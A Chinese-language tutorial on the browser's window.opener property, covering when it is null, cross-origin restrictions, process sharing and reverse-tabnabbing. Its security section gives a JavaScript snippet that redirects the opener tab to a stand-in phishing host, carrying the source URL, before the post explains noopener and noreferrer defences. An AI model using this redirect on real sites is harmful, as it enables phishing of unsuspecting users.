1.window.opener作用

The Window interface’s opener property returns a reference to the window that opened the window, either with open(), or by navigating a link with a target attribute.

In other words, if window A opens window B, B.opener returns A.

也就是说,用<a target="_blank">打开的页面,可以直接用window.opener来访问源页面的window对象。(但在现在需要添加rel="opener"才能生效)

2.opener存在的条件

在2018年左右以前,通过<a target="_blank">开启的新窗口都默认带有window.opener,但在Chrome release 88和Safari release 68中都已默认对<a target="_blank">实现noopener,因此如今在以下情况window.opener会返回null

  • 链接加上rel=noopener属性
  • <a target="_blank">打开,但没加上rel=opener
  • 带有Cross-Origin-Opener-Policy: same-origin

所以要在子页面中使用window.opener,需要将请求头设为Cross-Origin-Opener-Policy: unsafe-none(默认),使用<a target="_blank" rel="opener">,或用JS语句window.open("...")

3.同源与跨域

浏览器提供了完整的跨域保护,在域名相同时,parent对象和opener对象实际上就直接是上一级的window对象;而当域名不同时,parentopener则是经过包装的一个global对象。这个global对象仅提供非常有限的属性访问,并且在这仅有的几个属性中,大部分也都是不允许访问的(访问会直接抛出DOMException)。 同域 跨域

4.性能

opener存在时,仅在同域情况下两标签页共用一个进程。 Chrome和Edge等都提供了GUI查看渲染进程的情况,通过 更多工具=>任务管理器 查看。 同域 跨域 当新打开页面与原页面共用一个进程,若执行一个庞大的JavaScript脚本,那么原标签页也会受到影响,可能出现卡顿的现象。

而如果在链接中加入了noopener,两个标签页将会互不干扰,使得原页面的性能不会受到新页面的影响。

5.安全性

参考: 危险的 target="_blank" 与 “opener”

如果一个链接使用了target="_blank" rel="opener",那么一旦用户点击这个链接并进入一个新的标签,新标签中的页面如果存在恶意代码,就可以将你的网站直接导航到一个虚假网站。此时,如果用户回到你的标签页,看到的就是被替换过的页面了。

详细步骤

1.在你的网站https://example.com上存在一个链接:<a href="https://an.evil.site"target="_blank">进入一个“邪恶”的网站</a>

2.用户点击了这个链接,在新的标签页打开了这个网站。这个网站可以通过HTTP Header中的Referer属性来判断用户的来源。

并且,这个网站上包含着类似于这样的JavaScript代码:

const url=encodeURIComponent('{{header.referer}}');
window.opener.location.replace('https://a.fake.site/?'+url);

3.此时,用户在继续浏览这个新的标签页,而原来的网站所在的标签页此时已经被导航到了https://a.fake.site/?https%3A%2F%2Fexample.com%2F

4.恶意网站https://a.fake.site根据 Query String 来伪造一个足以欺骗用户的页面,并展示出来(期间还可以做一次跳转,使得浏览器的地址栏更具有迷惑性)。

5.用户关闭https://an.evil.site的标签页,回到原来的网站………………已经回不去了。

上面的攻击步骤是在跨域的情况下的,在跨域情况下,opener对象和parent一样,是受到限制的,仅提供非常有限的属性访问,并且在这仅有的几个属性中,大部分也都是不允许访问的(访问会直接抛出DOMException)。

但是与parent不同的是,在跨域的情况下,opener仍然可以调用location.replace方法而parent 则不可以。

如果是在同域的情况下(比如一个网站上的某一个页面被植入了恶意代码),则情况要比上面严重得多。

防御

  1. Referrer Policy 和 noreferrer 上面的攻击步骤中,用到了 HTTP Header 中的Referer属性,实际上可以在 HTTP 的响应头中增加ReferrerPolicy头来保证来源隐私安全。

ReferrerPolicy 需要修改后端代码来实现,而在前端,也可以使用<a>标签的rel属性来指定rel="noreferrer"来保证来源隐私安全。

<a href="https://an.evil.site" target="_blank" rel="noreferrer">进入一个“邪恶”的网站</a>

但是要注意的是:即使限制了referer的传递,仍然不能阻止原标签被恶意跳转。

  1. noopener 为了安全,现代浏览器都支持在<a>标签的rel属性中指定rel="noopener",这样,在打开的新标签页中,将无法再使用opener对象了,它为设置为了null
<a href="https://an.evil.site" target="_blank" rel="noopener">进入一个“邪恶”的网站</a>